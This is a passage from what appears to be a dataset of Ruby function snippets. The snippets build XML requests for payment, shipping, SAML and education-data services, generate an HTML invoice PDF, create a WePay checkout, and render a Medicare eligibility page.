27478536,0.0000009636,0.0000250023\nERR/46,0.3029911981,0.0646728832,0.0000050923,0.0000272720\nERR/47,0.3692483939,0.4225836626,0.0000297248,0.0000332279\nERR/48,0.4072046331,0.0804882944,0.0000056329,0.0000366510\nERR/49,0.0309497656,0.0476879809,0.0000036427,0.0000027738\nERR/50,0.0336195848,0.2942825386,0.0000213551,0.0000030116\nERR/51,0.0378276110,0.0440632335,0.0000024863,0.0000033887\nERR/52,0.0011384097,0.0849684439,0.0000065412,0.0000001012\nERR/53,0.0764557781,0.4033080063,0.0000283500,0.0000068748\nERR/54,0.1189468519,0.0993559855,0.0000069781,0.0000107069\nERR/55,0.2525550645,0.0960654650,0.0000070947,0.0000227270\nERR/56,0.2540914112,0.2460070246,0.0000179103,0.0000228636\nERR/57,0.2469632012,0.0913189113,0.0000058574,0.0000222250\nERR/58,0.1989379527,0.1312043023,0.0000098384,0.0000179196\nERR/59,0.1100067729,0.3580920522,0.0000251268,0.0000099235\nERR/60,0.0629808645,0.1441639745,0.0000101715,0.0000056825\nERR/61,0.0893602518,0.2210098854,0.0000161497,0.0000080179\nERR/62,0.0387671976,0.1967704237,0.0000143974,0.0000034736\nERR/63,0.0386742240,0.1215171647,0.0000079940,0.0000034756\nERR/64,0.0538320955,0.1398415078,0.0000093186,0.0000048235\nERR/65,0.0288861982,0.1666035833,0.0000123517,0.0000025889\nERR/66,0.1097938997,0.1790129063,0.0000132479,0.0000098418\nERR/67,0.0599992857,0.3174913101,0.0000222359,0.0000053816\nERR/68,0.2066622965,0.3109975002,0.0000217692,0.0000185522\")\n\n puts kap\nend", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def build_header_footer( interchange_name )\n\n header = <<-HEADER\n<?xml version=\"1.0\"?>\n<Interchange#{interchange_name} xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://ed-fi.org/0100\"\nxsi:schemaLocation=\"http://ed-fi.org/0100 ../../sli/edfi-schema/src/main/resources/edfiXsd-SLI/SLI-Interchange-#{interchange_name}.xsd\">\nHEADER\n\n footer = \"</Interchange#{interchange_name}>\"\n\n return header, footer\nend", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.GroundCloseRequest(:xmlns => \"http://fedex.com/ws/close/v2\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n\n xml.TimeUpToWhichShipmentsAreToBeClosed up_to_time.utc.iso8601(2)\n }\n end\n builder.doc.root.to_xml\n end", "def build_tracking_xml_request\n xml = \"\"\n\n builder = ::Builder::XmlMarkup.new :target => xml \n builder.TrackRequest :USERID => config.user_id do |t|\n t.TrackID :ID => package_id\n end\n\n xml\n end", "def wizard_header()\n header = '<meta name=\"wizard_controller\" content=\"'+@wizard_controller+'\" />'\n header += '<meta name=\"wizard_id_prefix\" content=\"'+@wizard_id_prefix+'\" />'\n end", "def generate_pdf\n\n @company_info = CompanyInfo.first\n @so_header = self.so_header\n content= product1= product2= product_description =''\n in_contact_title = in_contact_address1 = in_contact_address2 = in_contact_state = in_contact_czip = ''\n ship_contact_title = ship_contact_address1 = ship_contact_address2 = ship_contact_state = ship_contact_czip = ''\n\n if self.so_header.present?\n so = CommonActions.address(self.so_header)\n in_contact_title = '<span>'+so['b_c_title'].to_s+'</span>'\n in_contact_address1 = so['b_c_address_1'].to_s+'&nbsp;'\n in_contact_address2 = so['b_c_address_2'].to_s+'&nbsp;'\n in_contact_state = so['b_c_state'].to_s+'&nbsp;'\n so['b_c_country']= so['b_c_country'].present? ? so['b_c_country'] : ''\n so['b_c_zipcode']= so['b_c_zipcode'].present? ? so['b_c_zipcode'] : ''\n in_contact_czip = so['b_c_country'].to_s+'&nbsp;'+so['b_c_zipcode']\n ship_contact_title = '<span>'+so['s_c_title'].to_s+'</span>'\n ship_contact_address1 = so['s_c_address_1'].to_s+'&nbsp;'\n ship_contact_address2 = so['s_c_address_2'].to_s+'&nbsp;'\n ship_contact_state = so['s_c_state'].to_s+'&nbsp;'\n so['s_c_country']= so['s_c_country'].present? ? so['s_c_country'] : ''\n so['s_c_zipcode']= so['s_c_zipcode'].present? ? so['s_c_zipcode'] : ''\n ship_contact_czip = so['s_c_country'].to_s+'&nbsp;'+so['s_c_zipcode']\n end\n\n i = 1\n j = 1\n flag = 1\n flag2 = 1\n sub_total = 0.0\n\n s_sub_total = 0.0\n len = self.so_shipments.includes(:so_line, :receivable_so_shipment).length\n if len > 0\n sub_total+= self.so_shipments.includes(:so_line, :receivable_so_shipment).sum(\"so_shipped_cost\").to_f\n s_sub_total+= sub_total + self.receivable_freight.to_f\n\n self.so_shipments.includes(:so_line, :receivable_so_shipment).each_with_index do |so_shipment, index|\n if so_shipment.so_line.item_revision.present?\n product_description= '<td>'+so_shipment.so_line.item_revision.item_description+'</td>'\n end\n if so_shipment.so_line.item.item_part_no == so_shipment.so_line.item_alt_name.item_alt_identifier\n product1 = '<tr><th scope=\"row\">'+so_shipment.so_line.item.item_part_no+ '</th></tr>'\n else\n product1 = 'tr><th scope=\"row\">'+so_shipment.so_line.item.item_part_no+ '</th></tr>'\n product2 = '<tr><th scope=\"row\">'+so_shipment.so_line.item_alt_name.item_alt_identifier+'</th></tr>'\n end\n\n\n if i== 1\n content += ' <section><article class=\"ff\"><div class=\"ms_image\"><div class=\"ms_image-wrapper\"><img alt=Report_heading src=http://erp.chessgroupinc.com/'+@company_info.logo.joint.url(:original)+' /> </div><div class=\"ms_image-text\"><h3> '+@company_info.company_address1+' <br> '+@company_info.company_address2+' </h3><h5><span> P:</span> '+@company_info.company_phone1+' <br><span> F:&nbsp;</span> '+@company_info.company_fax\n content +=' </h5></div></div><div class=\"ms_image-2\"><h2> Invoice</h2><div class=\"ms_image-5\"><div class=\"ms_image-6\"><h4> Date</h4><h5> '+self.created_at.strftime(\"%m/%d/%Y\")+' </h5><div class=\"space\"></div><h4> Chess S.O.#</h4> <h5> '+@so_header.so_identifier+' </h5> </div><div class=\"ms_image-6 ms_image-7\"><h4> Inv No</h4><h5> '+self.receivable_identifier+' </h5><div class=\"space\"></div><h4> Customer P.O.#</h4> <h5> '+@so_header.so_header_customer_po\n content +=' </h5> </div><div class=\"clear\"></div></div></div></article>'\n if flag ==1\n content += '<article class=\"art-01\"><div class=\"ms_text-wra\"><h2></h2><div class=\"ms_text\"><h1 class=\"ms_heading\">Bill To :</h1> <div class=\"ms_text-6\"><h2 class=\"ms_sub-heading\">'+in_contact_title.to_s+''+in_contact_address1.to_s+''+in_contact_address2.to_s+''+in_contact_state.to_s+''+in_contact_czip.to_s+'</h2></div></div></div><div class=\"ms_text-wra-02\"><h2></h2><div class=\"ms_text-2\"><h1 class=\"ms_heading\">Ship To : </h1> <div class=\"ms_text-6\"><h2 class=\"ms_sub-heading\">'\n content += ship_contact_title.to_s+''+ship_contact_address1.to_s+''+ship_contact_address2.to_s+''+ship_contact_state.to_s+''+ship_contact_czip.to_s+'</div></div></div></article>'\n flag =0;\n end\n\n if flag2 ==1\n content += '<article class=\"art-01 art-04 \"><table width=\"640\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr align=\"center\" class=\"hea\"><td width=\"72\">ORDERED</td><td width=\"75\">SHIPPED</td><td width=\"67\">P/N</td><td width=\"224\">DESCRIPTION</td><td width=\"95\">PRICE/E</td><td width=\"107\">TOTAL</td></tr>'\n flag2=0;\n else\n content += '<article class=\"art-01 hei \"><table width=\"640\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr align=\"center\" class=\"hea\"><td width=\"72\">ORDERED</td><td width=\"75\">SHIPPED</td><td width=\"67\">P/N</td><td width=\"224\">DESCRIPTION</td><td width=\"95\">PRICE/E</td><td width=\"107\">TOTAL</td></tr>'\n end\n end\n\n content += ' <tr class=\"h-pad\" valign=\"top\" align=\"left\"><td>'+so_shipment.so_line.so_line_quantity.to_s+'</td><td> '+so_shipment.so_shipped_count.to_s+'</td><td><table width=\"100%\" border=\"0\">'+product1+''+product2+'</table></td>'+product_description+'<td> '+so_shipment.so_line.so_line_sell.to_s+'</td><td>'+so_shipment.so_shipped_cost.to_s+'</td></tr>'\n\n if i==10\n content += '</table></article>'\n content += '<article ><div class=\"footer\"><div class=\"page\"><h3>Page</h3><span>'+j.to_s+' </span></div><div class=\"original\"><table width=\"250\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><th width=\"169\" align=\"right\" scope=\"row\">SUB TOTAL :</th><td width=\"131\" align=\"right\">'+sub_total.to_s+'</td></tr><tr><th align=\"right\" scope=\"row\">FREIGHT :</th><td align=\"right\">'+self.receivable_freight.to_s+'</td></tr><tr><th align=\"right\" scope=\"row\">TOTAL :</th><td align=\"right\">'+s_sub_total.to_s+' </td></tr></table></div></div></article> </section>'\n content += ' <div style=\"page-break-after: always; \"> &nbsp; </div>'\n end\n\n if len == index+1 && i != 10\n # j = 1\n # j+=1\n content += '</table></article>'\n content += '<article ><div class=\"footer\"><div class=\"page\"><h3>Page</h3><span>'+j.to_s+'</span></div><div class=\"original\"><table width=\"250\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><th width=\"169\" align=\"right\" scope=\"row\">SUB TOTAL :</th><td width=\"131\" align=\"right\">'+sub_total.to_s+'</td></tr><tr><th align=\"right\" scope=\"row\">FREIGHT :</th><td align=\"right\">'+self.receivable_freight.to_s+'</td></tr><tr><th align=\"right\" scope=\"row\">TOTAL :</th><td align=\"right\">'+s_sub_total.to_s+' </td></tr></table></div></div></article> </section>'\n content += '<div style=\"page-break-after: always;\"> &nbsp; </div>'\n end\n\n i +=1\n\n if i==11\n j+=1\n i= 1\n content\n end\n\n end\n content\n else\n content = '<section>\n <article class=\"ff\"><div class=\"ms_image\"><div class=\"ms_image-wrapper\"><img alt=Report_heading src=http://erp.chessgroupinc.com/'+@company_info.logo.joint.url(:original)+' /> </div><div class=\"ms_image-text\"><h3> '+@company_info.company_address1+' <br> '+@company_info.company_address2+' </h3><h5><span> P:</span> '+@company_info.company_phone1+' <br><span> F:&nbsp;</span> '+@company_info.company_fax+' </h5></div></div><div class=\"ms_image-2\"><h2> Invoice</h2><div class=\"ms_image-5\"><div class=\"ms_image-6\"><h4> Date</h4><h5> '+self.created_at.strftime(\"%m/%d/%Y\")+' </h5><div class=\"space\"></div><h4> Chess S.O.#</h4> <h5> </h5> </div><div class=\"ms_image-6 ms_image-7\"><h4> Inv No</h4><h5> '+self.receivable_identifier+' </h5><div class=\"space\"></div><h4> Customer P.O.#</h4> <h5> </h5> </div><div class=\"clear\"></div></div></div></article>\n <article class=\"art-01\"><div class=\"ms_text-wra\"><h2></h2><div class=\"ms_text\"><h1 class=\"ms_heading\">Bill To :</h1> <div class=\"ms_text-6\"><h2 class=\"ms_sub-heading\">'+in_contact_title.to_s+''+in_contact_address1.to_s+''+in_contact_address2.to_s+''+in_contact_state.to_s+''+in_contact_czip.to_s+'</h2></div></div></div><div class=\"ms_text-wra-02\"><h2></h2><div class=\"ms_text-2\"><h1 class=\"ms_heading\">Ship To : </h1> <div class=\"ms_text-6\"><h2 class=\"ms_sub-heading\">'+ship_contact_title.to_s+''+ship_contact_address1.to_s+''+ship_contact_address2.to_s+''+ship_contact_state.to_s+''+ship_contact_czip.to_s+'</div></div></div></article>\n <article class=\"art-01 art-04 \"><table cellspacing=\"0\" cellpadding=\"0\" border=\"0\" width=\"640\"><tbody><tr align=\"center\" class=\"hea\"><td width=\"72\">ORDERED</td><td width=\"75\">SHIPPED</td><td width=\"67\">P/N</td><td width=\"224\">DESCRIPTION</td><td width=\"95\">PRICE/E</td><td width=\"107\">TOTAL</td></tr> <tr valign=\"top\" align=\"left\" class=\"h-pad\"><td></td><td></td><td><table border=\"0\" width=\"100%\"><tbody><tr><th scope=\"row\"></th></tr></tbody></table></td><td></td><td></td><td></td></tr></tbody></table></article>\n <article ><div class=\"footer\"><div class=\"page\"><h3>Page</h3><span>1 </span></div><div class=\"original\"><table width=\"250\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><th width=\"169\" align=\"right\" scope=\"row\">SUB TOTAL :</th><td width=\"131\" align=\"right\">'+sub_total.to_s+'</td></tr><tr><th align=\"right\" scope=\"row\">FREIGHT :</th><td align=\"right\">'+self.receivable_freight.to_s+'</td></tr><tr><th align=\"right\" scope=\"row\">TOTAL :</th><td align=\"right\">'+s_sub_total.to_s+' </td></tr></table></div></div></article> </section>\n </section><div style=\\\"page-break-after: always;\\\"> &nbsp; </div>'.html_safe\n end\n html = %'<!DOCTYPE html><html><head><title>Member Spotlight</title><style>@charset \"utf-8\";body{font-family:Arial,Helvetica,sans-serif;font-size:14px}*{margin:0;padding:0}.clear{clear:both}.ms_wrapper{height:auto; width:640px; margin: 0 0 0 40px;}.ms_wrapper section{height:auto;width:640px}.ms_wrapper .ms_heading{font-size:14px;margin:7px 0 0;padding:0 0 10px;text-decoration:underline}.ms_wrapper .ms_image{float:left;font-size:22px;height:93px;margin:21px 0 0;text-align:center;width:310px}.ms_wrapper .ms_heading-3{text-decoration:underline;font-size:14px;margin:0 0 4px;padding:0 0 10px;float:left}article.art-01{margin:0;padding:3px 0 0}.ms_image-6 h5{font-size:14px!important}.ms_image-6 h4{font-size:13px;margin:0;text-decoration:underline}.ms_text-wra{float:left}.ms_text-wra-02{float:right}.space{margin:5px 0}.ms_image-5{ height: 69px;border:1px solid maroon;border-radius:12px;padding:4px 34px}.ms_wrapper .ms_image-2{float:right;font-size:22px;height:119px;text-align:center;width:310px}.ms_wrapper article{float:left;width:100%;min-height:121px}.ms_text-6>h2{font-size:14px}.h-pad2{float:left;margin:29px 0 0!important}.h-pad>td{border-bottom:1px dashed #444;font-size:13px;margin:0;padding:10px 0;text-align:center}.h-pad2 strong{float:left;font-size:11px;font-weight:400;margin:0;width:100%}.art-08 td{border:1px solid #444;font-size:12px;padding:5px 0}.ms_wrapper .ms_text{ height: 104px !important;float:left;font-size:15px;min-height:104px;line-height:23px;width:300px;margin:0}.ms_wrapper .ms_offers{float:left;margin:12px 0 0;padding:10px 0 0;text-align:center}.ms_wrapper .ms_sub-heading{color:#000;font-size:11px;line-height:16px;margin:10px 0 0}.ms_sub-heading>span{float:left;font-size:13px;margin:0 0 5px;width:100%}.ms_text strong,.ms_text-2 strong{float:left;font-size:13px;font-weight:400;line-height:19px;width:100%}.ms_text1 strong{float:left;font-size:14px;line-height:19px;width:100%;margin:1px 0;text-align:center;font-weight:700}.ms_text-6.ms-33 .ms_sub-heading{font-size:17px}.ms_text-6.ms-33{text-align:center}.ms_image-2 h3{color:navy;font-size:21px;font-weight:400;margin:17px 0 0;text-decoration:underline}.ms_text-6>h3{float:left;margin:0;padding:18px 0 0;font-size:14px}.ms_text-6{float:left;margin:0;width:212px}.hea td{border:1px solid #444;font-size:14px;font-weight:700;padding:9px 0}.ms_image-2 h2{color:#111;font-size:20px;font-weight:700;margin:2px 0}.ms_image-6{float:left}.ms_image-7{float:right}.ms_image-2 h5{color:maroon;font-size:16px;font-weight:700;margin:0}.ms_text-3-wrapper{float:left}.ms_text-3-wrapper .ms_text-3{width:126px;float:left}.ms_text-3-wrapper .ms_text-5{width:204px;float:left;text-align:center}.ms_text-3-wrapper .ms_text-4{float:left;width:91px}article.art-02{margin:18px 0 0;padding:7px 0 0;border:1px solid #555;border-radius:15px}.ms_text-5>strong{font-weight:400}.ms_text-3-wrapper .ms_text-3 strong,.ms_text-3-wrapper .ms_text-4 strong{float:left;font-size:14px;font-weight:400;line-height:19px;width:100%;margin:6px 0;text-align:center}.ms_text-3-wrapper .ms_sub-heading{border-bottom:1px solid #555;font-size:13px;margin:21px 0 12px;padding:0 0 12px;text-align:center}.ms_sub{font-size:15px;text-align:center;text-decoration:underline;margin:2px 0 10px}.ms_text{border-bottom:1px solid #555;border-top:1px solid #555;float:left;padding:0 0 10px;width:310px}.ms_text-wra h2,.ms_text-wra-02 h2{font-size:16px}.ms_text-2{border-bottom:1px solid #555;border-top:1px solid #555;float:right;min-height:104px;height: 104px !important;padding:0 0 10px;width:300px}.ms_text-7>strong{float:none}.ms_text-7.ms_text-8{border-bottom:1px solid #555;padding:0 0 9px}.ms-1{float:left!important;text-align:right;width:95px!important}.ms_text-7.ms_text-9 strong{font-size:14px;font-weight:700}.ms_text-7{float:left;margin:4px 0;width:90%}.ms_text1{float:left;margin:12px 28px 0;width:42%}.ms-5{color:maroon}.ms-2{margin:0 0 0 38px}.ms_text-55{float:left;padding:0 3px 11px;width:310px}.ms_wrapper .ms_image2{margin:0 20px 0 0;border:1px solid #ccc;padding:20px 0;text-align:center;font-size:22px}.ms_image2 h2{font-size:17px;margin:0}.ms_image2 strong{color:maroon;float:left;font-size:22px;margin:0 0 8px;width:100%}.original td{font-size:14px;font-weight:700;color:maroon}.ms_image2 p{font-size:18px;margin:0;color:navy}.footer{float:left;margin:10px 0 0;width:640px}.page{float:left;margin:0 0 0 20px}.page h3{float:left;font-size:14px;font-weight:700;margin:0 21px 0 0}.page h4{font-size:12px;font-weight:400;margin:5px 0 12px;text-align:center}.original th{color:maroon}.original{border:2px solid maroon;border-radius:12px;float:right;padding:10px}.original h3{font-size:14px;font-weight:700;margin:12px 0 0}.original h4{font-size:12px;font-weight:400;margin:5px 0 12px;text-align:center}.ms_image-wrapper{float:left;height:69px;margin:20px 0 0 3px;width:150px}.ms_image-wrapper img{width:128px}.ms_image-text span{font-weight:700}.ms_image-text{float:right;margin:6px 10px 0 0;width:120px}.ms_image-text h2{font-size:13px;margin:19px 0 8px;text-decoration:underline}.ms_image-text h3{border-bottom:1px solid #555;font-size:9px;font-weight:400;margin:12px 0 6px;padding:0 0 7px}.ms_image-text h5{border-bottom:1px solid #555;font-size:9px;font-weight:400;margin:0;padding:0 0 7px}.page-center{float:left;margin:8px 36px;width:394px}.page-center h3{font-size:14px;font-weight:700;margin:12px 0 0}.page-center h4{font-size:12px;font-weight:400;margin:5px 0 12px;text-align:center}.h-pad th{font-weight:400}.foot{background-color:#fff}.top-003{position:fixed;top:0;background-color:#fff}.art-01.to-003{padding:130px 0 0}.art-01.art-04{height:444px;padding:0 0 20px}.art-01.hei{height:575px}</style></head><body><div class=\"ms_wrapper\" >#{content}</div><div style=\"page-break-after: always;\"> </div> </body></html>'\n\n\n # if Rails.env == \"production\"\n # # html = \"http://erp.chessgroupinc.com/po_headers/#{self.po_header.id}/purchase_report\"\n # end\n kit = PDFKit.new(html, :page_size => 'A4' )\n # Get an inline PDF\n pdf = kit.to_pdf\n p pdf\n # Save the PDF to a file\n path = Rails.root.to_s+\"/public/invoice_report\"\n if File.directory? path\n path = path+\"/\"+self.so_header.so_identifier.to_s+\".pdf\"\n kit.to_file(path)\n else\n Dir.mkdir path\n path = path+\"/\"+self.so_header.so_identifier.to_s+\".pdf\"\n kit.to_file(path)\n end\n\n\n end", "def put_xml(obj = nil, status = 200, append_response = false)\n @performed_render = true\n \n obj.set_pretty_print(true)\n text = obj.to_xml\n \n response.content_type = 'text/xml'\n response.status = status\n \n if append_response\n response.body ||= ''\n response.body << text.to_s\n else\n response.body = case text\n when Proc then text\n when nil then \" \" # Safari doesn't pass the headers of the return if the response is zero length\n else \n text.to_s\n end\n end\n end", "def create_checkout(redirect_uri)\n # calculate app_fee as 10% of produce price\n app_fee = self.ticket_price * 0.1\n\n params = {\n :account_id => self.wepay_account_id,\n :short_description => \"Ticket for #{self.event_name}\",\n :type => :GOODS,\n :amount => self.ticket_price,\n :app_fee => app_fee,\n :fee_payer => :payee,\n :mode => :iframe,\n :redirect_uri => redirect_uri\n }\n response = WEPAY.call('/checkout/create', self.wepay_access_token, params)\n\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n\n return response\n self.attendee_list += [params[\"nameOnCard\"]]\nend", "def xml_start(process_card, &block)\n Nokogiri::XML::Builder.new(encoding: 'utf-8') do |xml|\n xml.__send__('soap12:Envelope', soap_options) do\n xml.__send__('soap12:Body') do\n xml.__send__(\n process_card,\n xmlns: 'https://www.iatspayments.com/NetGate/',\n &block)\n end\n end\n end\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.PickupAvailabilityRequest(:xmlns => \"http://fedex.com/ws/pickup/v5\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_pickup_address(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def xmldecl(version, encoding, standalone); end", "def xmldecl(version, encoding, standalone); end", "def xmldecl(version, encoding, standalone); end", "def xmldecl(version, encoding, standalone); end", "def body_content(params, show_raw = false)\n p = PatientMedicareEligibilityInfo.new(\"9999999990\", \"Metro\", \"Praveen\", \"K\", Date.new(2014, 5, 19), \"123456789A\")\n #edi_content = p.medicare_eligibility_271_edi_content\n #hcpc_codes_file_path = File.join(Rails.root, 'static_data', 'hcpc_codes', 'hcpc_2013.csv')\n data_hash = p.generate_eligibility_xml\n debug_log data_hash\n if data_hash == {}\n %Q(\n <html><body style='font-color: red'><h1>Error fetching Eligibility Information. Possible Reasons: \n <br>\n <br>\n <h2>1. No matching Patient Information found in Medicare database.\n <h2>2. Temporary Error Contacting Medicare Servers.\n <br>\n <br> \n <h2> Please double check the information you entered and Try after sometime.\n <h2> If Error persists, please contact Fasternotes Support.</body></html>\n )\n else\n html_content = html_data_from_hash(data_hash)\n %Q(\n #{html_content}\n )\n end\n end", "def create\n @client_warehouse = 